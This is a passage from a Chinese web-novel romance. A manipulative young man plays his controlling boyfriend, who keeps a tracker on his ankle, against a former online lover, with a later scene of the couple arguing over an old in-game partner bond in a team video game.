叶临又看向站在厨房门口的楚诏,大声讽刺:“都说蛇鼠一窝,某些人就是跟你臭味相投,才能成为好朋友吧。” 楚诏没想到战火会引到自己身上,差点就想开口反嘴。 顾柘抢先出声:“火气这么大做什么,吃完饭带你去购物,别生气了啊。” 楚诏见朋友这般宝贝叶临,都不好多说,默默地把盘子端过来,放在桌子上。 叶临又不是最初的负债状态,早就不稀罕顾柘带他去购物,嫌弃地啧了一声,又去看楚诏。 饭桌上有五菜一汤,碗筷也摆好。 楚诏自觉地坐在小情侣的对面,没有靠近叶临。 而顾柘就在叶临旁边坐下来,拿起酒来倒,跟楚诏叙叙旧,说起他们相识的事情。 酒过三巡,人的表达欲就会旺盛,兄弟情谊也会增强。 楚诏主动拿起酒杯:“记得当时我资金周转困难,银行不肯给我贷款,还是你帮我做担保,我敬你一杯。” 顾柘笑起来:“这没什么,我当时就看出来你是个有能力的人,所以愿意帮你担保。” 这段往事是楚诏刚开始做生意的时候,错估了自己的实力,从而导致资金链断裂,马上就要面临天价的赔偿。 有人担保,他才能拿到资金和人脉,从而实现扭亏为盈,彻底改变局面。 可是当时没有人愿意帮他担保,倒是在酒会上见过一面的顾柘突然出现帮忙。 由此,他就把钢笔交给顾柘,希望以后有机会报恩。 所以最初在咖啡厅看到叶临拿着钢笔的时候,他才会有耐心地测试,确认不是顾柘的意思,就义无反顾地离开。 钢笔只是信物,有没有不重要,重要的是顾柘这个人。 知道梵星现任话事人是顾柘,他进入研发部以后,才安心地工作。 叶临听到他们还有这一层关系,眉心微抽:“当时,什么时候的事情?顾柘,你之前跟楚诏的关系这么好啊?” 顾柘帮他夹菜:“怎么,吃醋了?” 叶临的表情难看,嫌弃地把碗里的菜丢进垃圾桶里,恨不得把顾柘大卸八块。 顾柘感觉到他的怒火,没有再夹菜,试图说些梵星的事情引起注意力。 叶临面如土色,低头吃了几口,就看向对面的楚诏,心里恶心到了极点。 楚诏也没有想到叶临听到他们之间的往事会如此生气,大脑转了好几圈,思考原因,都没有结果。 忽然间,脚上传来一阵痒意,还有羊脂玉的质感,慢慢地往上蔓延。 抬头就对上叶临的眼睛,眼底的挑逗之意悄然流露。 他是故意的,就是要在这种时候提醒他们之间的关系,提醒他们曾经在网上热恋,又在深夜里缠绵。 楚诏握紧筷子,感觉自己被架到火上烤,浑身都要冒热汗,同时又控制不住自己的想法。 叶临的腿是长而直,没有一丝多余的赘肉。单手都握不满脚踝,脚趾圆圆的,还泛着粉。 踹人的时候,哪怕力气很大,都不会生气,只会想亲。 甚至,恨不得被踹到某处。 桌面上摆放着饭菜和汤,桌布的掩藏之下,却是另外的光景。 叶临是顾柘的现任男友,却要跟他藕断丝连。 楚诏的心跳加速,脸红得厉害,低着头倒酒,猛然喝完一杯。 他感觉到叶临的存在,下意识地锁住。 任由对方不断地逗他。 呼吸都变得灼热,快要坚持不住。 顾柘聊了梵星很多计划,但是叶临都没反应,他注意到楚诏的脸色格外地红,眼神怪异:“你喝了几杯,就醉了?” 楚诏的声音微微发颤:“四五杯了。” 闻言,顾柘立即反应过来状况的不对劲,猛地将叶临拎起来,结果就看到他的脚没穿好拖鞋。 楚诏和叶临都吓了一跳,静谧暧昧的气氛瞬间被搅乱,像是鱼雷在海水里炸开。 叶临踩回拖鞋里,大声骂:“你有病啊!” 顾柘没看他,而是看向对面的楚诏,咬牙道:“楚诏,我以为你有道德,知廉耻!” 楚诏顿感羞愧,再也没有那种心思,连忙躬身道歉:“我,我现在就走,以后不会再来了。” 顾柘憋着火,已经有了辞退楚诏的想法,冷声道:“梵星也不需要你,以后不用来了。” 叶临立刻扇了顾柘一巴掌,大声骂起来:“顾柘,人是我签下来的,你没资格辞退,信不信我辞了你!” 楚诏的眼神落寞,不想掺和这对情侣,迅速离开。 顾柘抓住叶临的手,将他抱起来,朝着卧室走去。 头砸到枕头的时候很疼,眼眶随之泛红,泪水掉下来。 太疼了 叶临抬手去打他,大声骂:“顾柘,你这个脑瘫,我恨死你了! 楚诏欠了你这么大的人情,当初我来找你帮忙,你直接打电话让他来梵星任职就好了,我哪里需要多费工夫去跟他网恋,再被他报复!” 顾柘掐住他的下巴,厉声道:“别以为我不知道你刚刚在做什么,你爱上他了,想跟他旧情复燃!” 叶临哭得肩膀都在发抖,还不肯认输地骂:“你口口声声说爱我,其实都是假话!就喜欢看着我去求楚诏,被他玩弄才开心是吧! 你觉得我跟楚诏做的小动作是在给你戴绿帽,那你就是活该!谁让你当初不帮我,让我自己想办法搞定楚诏。” 顾柘扪心自问,他爱上叶临的时候就已经放弃了所有,用最卑微地姿态捧着他的爱人。 可是此刻,叶临却要在跟楚诏做了那种事情后,再质疑他的真心。 叶临可以任意地打骂他,也可以随心所欲地发脾气,想要什么马上就会得到。 他只是希望叶临只跟他一个好,这么简单的要求为什么做不到! 顾柘眼眶赤红,声嘶力竭地抗议:“我不爱你?我不爱你,为什么要来梵星! 为什么知道你总把我当顾嘉致的替身,还要跟你纠缠在一起!为什么知道你跟楚诏那样,还不舍得打断你的腿!” 原来那时真是气话,顾柘根本不舍得打断他的腿。 叶临的心境发生了变化,抬眼注意到顾柘的眼睛里有泪光,偏头去看别处,委屈道:“但你就是对不起我,明明可以毫不费力地把楚诏弄到梵星,却要我自己去想办法。 你知道我当时听到楚诏欠了你一个人情,心里有多恶心吗? 感觉你就是故意的,故意要我难堪,要我被楚诏报复,所以我恨死你了,就想当场报复你。” 顾柘听到这里,怒气有所消减,但还是放不下刚才的事情。 叶临确认顾柘爱自己,疼惜自己的时候就有了底气,迅速想出应对的办法,轻轻地抓他的衣袖抱怨:“我觉得爱一个人,就会愿意付出一切,帮他解决所有困难。但是你在楚诏的事情没有帮我,我就怀疑你不爱我。” 顾柘很多时候都无法理解叶临的逻辑,嗤笑一声:“你又不喜欢我,计较我的真心做什么?” 叶临故作紧张地结巴:“我,我就是在意啊,在意你是不是真心喜欢我。” 顾柘看到他紧张,忽然间像是看到了希望,轻轻地摸他的脸颊:“你只喜欢我的钱,居然还在意真心?” 叶临的声音越来越低:“那我不仅在意你的钱,还在意你这个人。你知道的,我是私生子。好长时间,吃饭都成了困难,看到一点钱就想抓住。 以前我为了有钱就讨好梁文乐,为了开公司就讨好沈邵,为了梵星的技术发展又讨好楚诏。我本来就不喜欢男人,都是为了生存迫不得已。 刚开始我真的很讨厌你,就知道欺负我,还装跟踪器。后面我发现,你对我很好。不需要我赔笑演戏,就能给我想要的一切。就不是很讨厌了,还觉得你有点好。 我今天听到你和楚诏说话,就很生气,怀疑你不喜欢我,以后也不会愿意对我好。 我既害怕又生气,就想利用楚诏刺。激你!因为,只要你为此吃醋,我又能感觉到爱了。” 顾柘第一次看到叶临露出这种可怜的姿态,像是刺猬把刺全扒掉,瑟瑟发抖地露出自己的白软肚皮,希望对方能喜欢他,从而饶过他。 嚣张跋扈的叶临,坚不可摧的叶临,虚情假意的叶临,演技高超的叶临。 怎么会对他说这些话?是真的,还是伪装的? 叶临扭过脸看他,眼神真挚:“我从小就没人爱,很长一段时间都不知道该怎么面对别人的爱,也不知道怎么去爱一个人。你不能对我这么苛刻,应该慢慢教我。” 顾柘上一秒像是站在悬崖边,马上就坠入万丈深渊,尸骨无存;可是下一秒就被叶临拉到花团锦簇,绿草如茵的平原,云很软,风也柔。 虽然叶临没直接说爱他,但是言行举止中已经透露出爱意。 叶临又不像他出生在富贵之家,从小缺钱缺爱,生存环境恶劣,当然会长成这种拧巴的样子。 就像一只流浪的残疾小猫,对人类有警惕性,会用各种伪装保护自己。怎么能因此苛责小猫呢? 顾柘的内心已经动摇,开始为叶临找理由。 叶临见他迟迟没有反应,干脆仰头主动亲他,小声地问:“别生气了好不好?” 顾柘的眉眼完全舒展开,低头去吻:“我确实吃醋了,但你以后不能用这种方式试探我。” 叶临“嗯”了一声,又小声地询问:“那你以后能不能别大声凶我?” 顾柘蹭蹭他的鼻尖:“谁让你不听话。” 叶临委屈撅嘴,伸出手轻轻地戳他的胸膛:“我已经很听话了,这些天都没有去找楚诏和沈邵,也没有去酒吧和会所。 都怪你把楚诏请进家里做客,才会发生这种事情,全都是你的错!” 顾柘心痒得厉害:“好,我答应你。” “还有,不要用力摔我,我刚刚都疼哭了,你这算是家。暴!” “好。” “还有,做那种事情,不要总欺负我。别人的男朋友都是很疼人,就你用这个发泄脾气,好恶劣!” 叶临的声音细如蚊呐,害羞得厉害。 顾柘有了动作,故意问:“谁的男朋友有我好,给你当牛做马,受气了还要哄你?” 被爱就是可以任性妄为。 叶临笑起来:“谁让你喜欢我!” 顾柘无奈地叹息,后悔遇见叶临,又庆幸自己有机会栽在叶临手上。 “顾柘,你还记得我们第一次见面吗?你当时觉得我是脚踏两只船的烂人,我怎么可能一下子就相信你喜欢我,当然也不会轻易交出自己的真心。” “你不是烂人,是周围的环境对不起你。梁文乐和顾嘉致太蠢了,才会被你骗,活该。” “哈哈哈,现在又不是烂人了,那是什么?” “我的珍宝,独一无二。” 顾柘字字掷地有声,完全发自内心,恨不得替叶临承受一切的痛苦。虽然最初相遇不美好,但他有信心经营,从而获得好结局。 “这么好啊?”叶临主动地献出自己,注视着那双漆黑的眼瞳:“那我现在有点喜欢你了,以后可不要辜负我。” 顾柘像是虔诚的信徒,温柔地擦拭他的神明,轻轻的,慢慢的,是充满爱意的。 “今生今世,绝不辜负。” “你这里,我喜欢。” 叶临知道自己的办法奏效了,主动提出要求,把顾柘当成完美的工具人。顾柘有钱有能力,还不需要他哄,怎么不算是“好男友”呢。 湿汗淋漓,像是两条蛇藏在一起,不分彼此。 叶临考虑到他们之间的间隙,还要在情动之时补充。 “我知道你膈应顾嘉致,以后我就不提他了,你也别提梁文乐,沈邵,楚诏他们。” “好。” 至此,坚持许久的顾柘终于收获了自己以为的爱情,满心欢喜地跟爱人温存。 顾柘将叶临搂进怀里,亲吻发梢,眉心眼梢,像是在描摹一副画像,哪里都要到位。 出生于泥沼之中的叶临,光是活下去就用尽全力,怎么能怪他手段卑劣,明明是为了生存才能养成的可贵品质。 他可以不计较叶临的过去,也不会计较叶临笨拙的试探行为。 从今往后,这只可怜的残疾小猫被他捡走了。他以后一定会好好地养护,耐心地引导,让叶临学会接受爱,能够爱人。 第59章 第59章叶临对他这么好 叶临还没睡醒,迷迷糊糊中听到有人叫自己,烦躁地骂:“别吵!” 顾柘看他身体的持久力不好,长此以往身体会虚亏,就想叫他起床去晨跑,结果这家伙扒拉着枕头,死活不肯起。 没办法,只能暂时放弃这个计划,转而去学做早餐。 叶临总是会拿他的厨艺跟沈邵比较,说的那些难听话都被他记在心里。 他也希望自己能够提升厨艺,超过沈邵,满足叶临的胃口。 做饭给喜欢的人吃,是一种莫大的幸福。 顾柘退出卧室,专门请了个大厨来家里教他怎么做饭,才能取悦恋人。 至于梵星,他找了可靠的人帮忙处理,短期内并不想过去。 直到中午,叶临才醒过来。 昨天顾柘温柔过头了,还特别照顾他的感受,神清气爽,像是电量满格。 只不过,脚踝上的跟踪器还没取下来。 叶临想到昨天晚上的表演,感觉演技已经炉火纯青,步入下个阶段。或许以后,他都可以去尝试拍戏了。 他仔细回味自己说过的话,倍感骄傲,认为自己的表演天衣无缝。 顾柘再厉害,还是要被他欺骗。 就楚诏不懂事,居然到今天都没同意他的好友申请。 难道他昨天的那通操作白费了? 叶临盯着好友申请页面陷入沉思,愤恨地骂了楚诏几句。 午后的阳光强烈,透过窗户照在料理台上,反射到人脸上,是温暖的橘黄色。 顾柘想做草莓慕斯当叶临的饭后甜点,正在低头切草莓,动作缓慢仔细,保证完整性。 大厨已经离开,厨房里只有他一个人忙活。 突然感觉到身后有人靠近,紧接着背就被暖意包围,闻到了熟悉的沐浴露香味。 “你在做什么啊?”叶临紧紧贴着顾柘,探过头去看砧板上的草莓,拿起一颗塞嘴里:“好甜!” 顾柘终于可以享受自己梦寐以求的情侣同居日常,在这样一个美好的午后,爱人和他在厨房里亲昵。 他停止动作,柔声回复:“草莓慕斯,你应该喜欢。” 叶临又拿起好几颗草莓扔嘴里吃掉,嘟囔着:“草莓直接吃最美味,非要切碎做成什么慕斯,好浪费。” 浪漫的氛围就像是甜品店的玻璃窗,瞬间被他的话击碎,四分五裂。 顾柘说不出话,有种深深的无力感。 叶临又拿起旁边的葡萄来吃,点点头赞赏:“我去,这些水果都好好吃啊!听我的,别糟蹋它们,洗干净直接吃吧。” 顾柘放下刀子,无奈道:“我以为你会喜欢吃水果甜品。” 叶临非常嫌弃,细数沈邵为他做过的食物:“咦,谁喜欢吃这种甜腻腻的东西,我喜欢吃清蒸东星斑,烤肉” 沈邵真是神人,能把他以前嗤之以鼻的甜品做好吃。顾柘就算了吧,让他处理这些新鲜水果,简直浪费。 顾柘叹气,打开旁边的柜子,里面养着几只活的鱼虾,可供挑选:“你想吃什么?” 叶临看了几眼,感觉顾柘处理不好这些奇形怪状的鱼虾,可能会害自己中毒,于是转移话题:“先别说吃的事了,我问你,为什么不取下跟踪器!” 他抬脚,让对方看脚踝处的银环,神情不满。 昨天睡觉之前,顾柘还在边缘处留下吻。痕,反复确认这是属于自己的人。 现在看到跟踪器,呼吸都随之灼热。又想到夜里的翻云覆雨,叶临泛红的眼尾,颤抖时的哭声。 顾柘搂住他的腰,情不自禁地凑过去索吻。 叶临扭头没给他亲,挥手打了手臂,大声骂道:“你别转移话题,快点解释清楚!” 顾柘:“这个能确保你的安全,没必要取下来。” 叶临看见他眼底的深沉欲。望,打算先尝试服软:“可是,你这样让我觉得自己是被人监视着,没有自由,像个笼子里的小鸟,特别可怜。” 顾柘怜惜地亲吻他的脸颊,耐心地诱哄:“是保护,不是监视。我希望随时随地掌控你的所有信息,这样才能更好地保护你,是好心。” 叶临快要憋不住怒火:“你骗人,就是借着这种好心的借口控制我,根本没把我当成人看。 还说要跟我谈恋爱,你都不尊重我,把我当成宠物了,怎么谈!” 顾柘听到他的语气激动,想到他以前把三个男人玩得团团转,顿时起了警惕心。 “你今天非得要我取下跟踪器,是吗?” “对,马上,立刻,取下来!” 叶临加大音量,还推他的肩膀,严肃强调自己的要求。大有不取下跟踪器,今天就分手的势气。 顾柘敏感多疑,脸色冷下来,大失所望。 “叶临,我昨天晚上本来很高兴,以为我们之间的关系终于有了变化。 但是你今天急匆匆地跑来要求我取下跟踪器,我就需要思考,昨天你有几句是真的,几句话是假的。” “我我说的本来就是对的,哪有给恋人安跟踪器的,你这样是不信任我,没有信任哪里来的爱!” “我为什么不信任你,你自己清楚!” 顾柘的音量陡然提高,鹰一样的眼睛盯着叶临看,像是在高空中俯视猎物,早看穿一切的行动轨迹,只等着俯冲去捕食。 叶临懊悔不已,他才反应过来,自己刚刚的举动多么愚蠢。 面对梁文乐那种笨蛋,尚且需要慢慢地提出自己的要求,那顾柘这种高手,就更需要耐心,小心博弈。 他怎么一晚上就掉以轻心了? 必须想办法挽救。 现在服软,肯定显得虚假,干脆继续闹吧。 叶临猛地用力推倒旁边的砧板。 顾柘吓得连忙把他抱远一些,眼睁睁地看着菜刀砍过自己的脚趾掉在地上,发出清脆的响声。 叶临不断地挣扎,捶打他的胸膛:“顾柘,你这个混蛋,我恨死你了!就知道把我当成犯人审问,谁要跟你这种神经病谈恋爱!” 顾柘的脚已经被刀割伤,血染红了白袜子,他没在意伤处,只是庆幸自己动作快,不然现在受伤的就是叶临。 他还是后怕,连忙把叶临抱起来朝着客厅走去,远离这个危险的地方。 叶临被放在柔软的沙发上,游戏机也拿到面前,以及饮料和零食。 顾柘语重心长地叮嘱:“下次别进厨房胡闹,刚刚很危险,差点就伤到你!” 叶临随手就把东西扫下桌,大声嚷嚷:“你少来这套,就知道管我,烦死了!你以为我是生气跟踪器的事情吗,我是生气你的态度!” 顾柘弯腰把游戏机捡起来:“别乱扔,到时候找不到又要发脾气!” 叶临才注意到他的右脚有血迹,想起刚刚的菜刀。 其实他推砧板的时候,是提前预判过的,确认绝对不会伤到自己才敢用力。 但没想到会伤到顾柘。 话说,顾柘也是神经兮兮的,非要扑上来抱他,活该被菜刀伤到。 叶临心里只有一点愧疚感,还抓着这个台阶往下走:“你的脚怎么了?” 顾柘因为叶临受伤过无数次都不会有怨念,语气轻松:“没事。” 叶临立即站起来,跑去把医药箱拿过来,拍了拍沙发的位置,没好气地说:“坐下来,我帮你包扎,搞得我像是恶人一样,就知道欺负你,让你受伤!” 顾柘从没想到自己会得到叶临的关心,更没想到叶临会主动提出来帮忙包扎,别扭地拒绝:“不用。” “烦死你了!” 叶临骂骂咧咧地把他拽过来,强行按住肩膀逼迫他坐下来,再蹲在地上处理伤口。 顾柘从高处看,可以清晰地看见叶临小心翼翼地用剪刀剪掉袜子,慢慢地分开伤口和布料,紧接着就拿出酒精。 “酒精接触伤口有点疼,你忍着点。” 说话好像是哄小孩子,涂抹的动作轻柔。 顾柘哪里会觉得疼,感觉自己漂浮在云端,抛去所有烦恼,只想永远留住此刻。 其实叶临具备爱人的能力,只要展现一点点,就能把男人迷得神魂颠倒。 叶临处理伤口的时候很害怕,他没见过这么深的伤口,肉分开,血红的肉里,都快要见到骨头。 包扎的时候,他不断地打量顾柘的表情,对方像是没有知觉。 正常人遇到这种伤口,早就哀嚎,甚至是崩溃大哭,但顾柘的反应就过分平静,平静得让人害怕。 叶临伺候过梁文乐,包扎的手法娴熟。 大少爷指头破点皮都要吵着要亲亲安慰,顾柘居然没感觉,太可怕了。 看来,他们之间的博弈是个漫长的过程,需要小心经营。 包扎结束后,两个人都没提跟踪器的事情,各怀鬼胎。 顾柘不想取下跟踪器,那样会失去仅有的安全感。 叶临为了避免怀疑,暂时不提跟踪器,打算另想办法。 晚饭是订外卖,虽然不健康,但味道很好。 顾柘少没抱怨,默默地陪着叶临吃完,再去书房处理工作。 叶临进游戏室里打游戏,玩了一会儿发现楚诏通过了他的好友申请,立即发消息质问。 【你终于舍得同意我的好友了!】 【昨天的事情,你确实太过分了。】 【我过分,那你不是也乐得其中!】 【总之,我这次同意你的好友,就是想把话说清楚,我们以后没有关系了。】 楚诏打出这段文字的时候,手指都在发抖,他并不想断掉,但顾柘的话让他的良心被道德反复谴责,只能做个决断。 【你不会要删了我吧!】 【我跟你说,顾柘是表演型人格,他对外总是扮演好男友的人设,其实是个只知道欺负人的混蛋!】 叶临对着跟踪器拍照,然后发过去,希望博取同情。黑客有办法摧毁跟踪器,现在利用楚诏是最好的办法。 楚诏认出这款跟踪器,价格昂贵,很少能有人买得起,确实有可能是顾柘的手笔。 但之前叶临也装可怜,说自己被刘闻觊觎,这就没有信服力。 【你又想故技重施是吧,就知道骗人。】 【真的,我给你看他欺负我的证据!】 叶临脱掉睡衣,拍了每一处,再发过去。 第60章 第60章他已经很卑微了,为什么………… 楚诏看到图片上的痕迹,面颊和耳垂都在发热,心跳随之加速,恍惚中能够听见激烈打鼓的声音。 像是野兽在标记领地,某些区域尤为明显。 痕迹的密集程度很高,也很深,呈现出红色,青紫色等等。 眼前就像是出现了被强行催熟的葡萄,圆润饱满,比正常的葡萄更大,颜色很深。 说是顾柘欺负他,其实是可以理解的人之常情。 哪怕是他面对叶临的时候,都没办法忍住。 楚诏看得心痒,像是喉咙里着了火,不断地燃烧,目光无法移开。 【他每天都会这样欺负我,还给我按照跟踪器,限制我的活动。】 【那天他在你面前全都是演戏,实际上根本不会心疼我,只是把我当成玩物。】 【昨天弄的,还没给我涂药,我得自己去浴室清理,疼死了。】 叶临发完照片,还要发个哭腔的语音过去,增强可怜感。 楚诏这种正直的人,只要心疼他,那一切都好说。 【你昨天故意激怒他,当然会被惩罚。】 【哇,楚诏真是高尚起来了!我为什么会被惩罚,还不是因为你嘛!】 【昨天你感觉很好吧,现在倒是好意思把自己完全摘出去,真不要脸!】 叶临这通话说下来,就像是在指责负心汉,快活完就抛弃他,罪该万死。 楚诏有了违背道德的感觉,理智劝他立即终止对话,删掉叶临,从此不再有往来;可是情感又催促他快点去帮叶临,那样再续前缘。 【其实我用甜甜圈骗你的时候,也不是完全是假意。】 【有那么几次,我也觉得跟你这种正直善良的人谈恋爱很幸福。】 【我遇到的男人都不好,梁文乐自私自利,把我当成仆人使唤。 沈邵看不起我,只是想骗我投资梵星,顾柘就更过分了,他就只贪图我的美色。】 【只有你最好了。】 【最开始我还以为你发现被骗后,会把我揍一顿,可是没有,你只是跑来质问我,还对我那么温柔。】 【我永远都忘不了那天晚上,我哭了你就亲我,还哄着我,其他人就不会哄我。】 楚诏看到这么长串的文字,脑海里又浮现出在梵星的休息室,透过窗户看到外面的美少年。 耳边似乎已经响起了叶临的哭声,正在跟他哭诉自己被几个坏男人欺负的经历。 不知道为什么,明明被欺骗过一次,但看到叶临装可怜,还是会想办法给他找理由。 终于,在三分钟后,楚诏还是忍不住给他发消息。 【我可以帮你解除跟踪器。】 【太好了,谢谢你!】 叶临又说了很多好话,夸赞楚诏的厉害,紧接着就跟他约定好,三天后在辉莉广场相聚。 三天后广场有家商场会举办大型表演秀。 到时候人群密集只要混入其中哪怕顾柘查看跟踪器的位置,只会以为他去玩了,不会怀疑去跟楚诏见面。 约定好时间地点,叶临又把消息记录全部删除,警惕地看着卧室门,确认没有人才安心。 过了一会儿,顾柘才出现在门口,手里端着水果走过来,放在他的旁边。 “这是你白天说好吃的水果。” “哦” 叶临正在打游戏,团战中抽不出手去拿水果,习惯性地偏头张嘴:“喂我。” 顾柘拿起草莓喂进他的嘴里,低头去看游戏画面,无法理解这种制造粗糙的游戏有什么乐趣,但叶临就是很喜欢玩。 叶临注意到他的目光,切换回大厅:“你要玩吗?” 顾柘跟弟弟不一样,非常讨厌竞技类电子游戏,但他很想跟叶临有点共同话题,只好硬着头皮答应。 游戏里可以看到顾柘的段位不高,常用英雄池也少,看起来一年都没玩过几次。 开局六分钟后爆发了一波团*战。 叶临玩着刺客,忙着在后排切人,但是顾柘的射手输出跟不上,敌人才死了两个人,己方还掉了塔。 这样算下来,团战就是亏。 叶临的脸色垮下来,大声抱怨:“刚刚团战,你去杀小兵,为什么不快点跟上?现在你经济第二,要是你跟上,对方早就团灭了!” 顾柘很少玩这种五个人团队作战的游戏,不知道怎么打配合,听到团战很难搞清楚自己的定位,当然会掉队,只好说道:“我下次会跟上。” 叶临叹息一声,憋着火继续玩游戏。 结果下一次团战,顾柘确实跟上了,但是他冲得太前面,被对方刺客杀掉。 己方失去一个输出位,团战被灭掉三个人,只剩下叶临残血跑出来,去泉水回血。 比分也输了,失去的塔也比对面多。 叶临有种想挥拳,打不到人的无力感,忽然好怀念顾嘉致。 至少顾嘉致什么位置都能玩,总是能够跟他打好配合,轻轻松松获得胜利。 顾柘跟他毫无默契感,反应总是慢半拍,还没有游戏基本意识。 要不是怕激怒顾柘,高低要拉踩一顿。 叶临没有说话,默默地开麦,指挥其他的队友,勉强挽回局势。 顾柘注意到他的情绪不对劲,主动询问:“你生气了?” 叶临不直面回答,用一种对待陌生人的语气说:“上路草丛埋伏一波,射手跟上,别送。” 辅助跟着说话:“这个射手技术还行吧,就是没意识,老是喜欢硬刚,都不知道躲在我身后输出。” 法师深有体会:“对啊对啊,还好我们打野给力,不然早输了。” 上单跟着补刀:“要不然拿射手当诱饵好了,反正他也不会玩。” 顾柘听得出来队友在嫌弃他,情绪没有多大波动,只是看向叶临。 叶临身为他的男朋友,也是全场人头最高,完全不为他说话,似乎默认大家都可以嘲讽他的技术。 虽然不在意这场游戏,但总感觉心里不舒服。 顾柘会忍不住想,难道顾嘉致致跟叶临打游戏的时候,别人嘲讽顾嘉致的技术差,叶临也会冷眼旁观吗? 实际上叶临听见队友嘲讽顾柘,心里舒服死了,巴不得再骂难听点,好帮他出气。 这回射手倒是跟上来,局势变成顺风,没几分钟就胜利。 叶临感觉自己也不能太过分,关麦劝旁边的顾柘:“你也别把他们的话放在心上,他们不会玩,乱说的。” 顾柘总算从压抑的氛围里出来,可以喘口气。他受不了叶临刚刚的漠视,这会让他怀疑自己的能力。 叶临主动建议:“下局你玩辅助吧,就挂在我头上行了。” 顾柘听从他的话,选了辅助,可以呆在打野头上,不需要过多操作。 这局就比上把顺利,打野有了辅助的跟随,经济很快就碾压全场。 射手不痛快,阴阳怪气:“哇,打野和辅助是情侣啊,就知道连体!” 叶临刚想骂他菜,就听到顾柘率先回应:“是!” 射手惊呆了:“两个男的,同性恋!” 叶临知道自己在搞同性恋,但是被路人直接说出来,还是会条件性地羞愧,浑身不自在。 这种尴尬感,无异于穿女装在众目睽睽之下出道,还要被以前的兄弟们围观调侃。 法师奇怪地问:“那你们怎么没有情侣标识和情侣昵称啊,该不会是男小三和渣男吧!” 顾柘淡定回复:“是名正言顺的情侣,出去就绑定情侣关系。” 叶临不想再听下去,连忙关麦,还制止顾柘说话,要求专心打游戏。 整局游戏下来,队友不断地发文字消息追问,顾柘还耐心地分享他和叶临的恩爱日常。 在他的文字里,他们的恋爱关系很健康,从高中就谈了,彼此双初恋,到大学就同居。 现在每天都粘在一起,根本分不开,俨然是纯爱甜甜小情侣。 叶临以为就自己爱撒谎,但没想到顾柘更胜一筹。 这说的是他们吗? 他们的关系本来就是畸形的,虚情假意里掺杂着强迫和妥协,还有诸多算计。 怎么能被描绘得如此美好? 游戏胜利后,叶临忍不住问他。 “额,双初恋,你是怎么打出这三个字的?” “我第一个喜欢的人是你,你第一个喜欢的人也是我,当然算双初恋。” 顾柘说话毫不心虚,根据网上的教程给叶临送很多礼物增加亲密度,再发送情侣申请,结果发现叶临早就绑定了情侣关系。 上局的射手不服气,还添加他的好友,发消息嘲笑:“打野早就绑定了情侣关系,原来你是男小三啊,哈哈哈哈!” 叶临情侣关系那一栏里,细查下来,居然是顾嘉致,甚至他们的情侣关系已经绑定了一年。 顾柘再次跌落谷底,感觉自己被名为“顾嘉致”的阴影笼罩,摔得粉身碎骨,愤怒的同时又产生了绝望的情绪。 他从小都被称为天才,事事都远远胜过顾嘉致这个废材,是双生子里最耀眼的。 顾嘉致只能仰望他的鼻息,做个平庸的弟弟。 从来都只有顾嘉致忌妒他的份,现在怎么能反过来! 哪怕听过叶临告白的话语,接受叶临的关心爱护,还是会觉得不满足。 还是觉得自己比不上顾嘉致的待遇,比不过顾嘉致在叶临心里的地位。 顾柘脸色阴沉,紧紧地握着手机,恨不得把这个东西掰碎。 叶临打开消息通知栏,还想问顾柘为什么不发情侣申请,突然注意到自己跟顾嘉致绑定了情侣关系,大脑瞬间宕机。 很快,他就回想起来。 刚搬进顾嘉致的公寓那段时间,他天天都会跟顾嘉致致快乐双排上分。 游戏次数过多,他们的亲密度很高。 有一天晚上打游戏,顾嘉致给他发送了情侣申请,他没细看顺手同意。 紧接着,他就被队友提醒了情侣标识,感觉不对劲,还捶了顾嘉致的肩膀。 顾嘉致冷声问道:“反正梁文乐又不玩这个游戏,你还怕他发现?” 叶临还是觉得奇怪:“那也不对啊,你怎么不跟我绑兄弟标识,绑定情侣标识!” 顾嘉致翻出很多游戏好基友的热帖给他看,证明自己的观点:“你看,真正的兄弟都是绑定情侣标识的。这是避免你哪天见色忘友,有了女朋友,就不跟我打游戏!” 叶临看到游戏圈里很多直男的类似发言,深受感染。 好像自己计较这种小事,反而显得很没男子气概,更对不起顾嘉致的兄弟情谊。 他习惯性地靠顾嘉致的肩膀,大声保证:“放心好了,我以后只跟你双排,谁有我们两个默契好,简直就是天造地设的一对!” 顾嘉致无奈地去戳他的眉心,吐槽道:“你有认真学过成语吗,天造地设是形容恋人的,我们是吗?” “不是啊,但我们关系比亲兄弟还亲!什么恋人,爱人,都没好朋友重要!” 叶临扑过去挠他,两个人乱成一团,游戏都打不成。 笑声在卧室里回荡,闹了好一会儿才停下来。 顾嘉致靠着枕头,看着天花板。 叶临枕着他的胸膛,伸出手指去数华丽吊灯的灯泡。 “这个好像星星!” “你好蠢,这个是灯,不是星星了。” “哎呀,城市不舒服,还是乡下的草坪躺着舒服,抬头就能看见星空。有机会,我带你去,比这里有意思。” “真的啊,有外星人吗?” “有吧,哈哈哈哈。” 好朋友聚在一起,精神会高度放松,说话就会变得毫无逻辑,什么都能聊起来,还没完没了。 那时叶临当然不介意跟顾嘉致绑定情侣关系,反正他最喜欢跟顾嘉致双排上分。 现在被顾柘发现,估计又要大闹一场,要提前想好借口。 叶临脑子转了好几圈,看向旁边的顾柘。 他发现顾柘的神情平静,不像是生气的样子,顿时松了一口气。 然而顾柘出声的瞬间,就像是狂风来临,感觉到窒息的氛围。 “你刚刚在想顾嘉致,对吗?” 这是一道送命题。回答不是,会被怀疑撒谎;回答是,会被骂三心二意。 叶临想了想,选择折中:“这个情侣标识,是顾嘉致为了气梁文乐,故意跟我绑定的。你也知道他这个人吧,表面跟梁文乐关系好,其实看不起梁文乐的。” 说到这里,他又觉得自己背地里说顾嘉致坏话不好,连忙补充:“当然,梁文乐自己也不是什么好货,顾嘉致在急救室里的时候,他还有心情玩乐,真恶毒!” 顾柘刚想在互联网上用文字粉饰太平,结果此刻又被拉回残酷的现实。 叶临问的那句话很对,他怎么打得出“双初恋”这三个词? 只有顾嘉致才能打出来,但是偏偏又跟他长得一模一样,有种被迫当替身的酸涩感。 如果他们不是双胞胎就好了,那样他就不用时时刻刻地警惕叶临是不是透着他看到了顾嘉致。 顾柘怨恨自己的出生,怨恨顾嘉致先遇到叶临,最后没有办法,只能继续用别的方式欺骗自己:“注销这个游戏账号,我会给你买个最好的账号,再跟我绑定情侣关系。” 打了还这么久的游戏账号说注销就注销,谁能忍! 叶临怒吼:“你疯了,这是我玩了很久的游戏账号,我花了很多时间和精力,不可能注销的!” 双初恋这个词像是根刺扎进心里,,不致命但持续不断地疼。 顾柘:“我不能接受一个跟别人绑定过情侣关系的账号,再次跟我绑定。” 叶临无奈地翻白眼,他感觉顾柘开始向着梁文乐发展了,一样的无理取闹,一样的矫情做作,烦死人! “我绝不可能注销!” 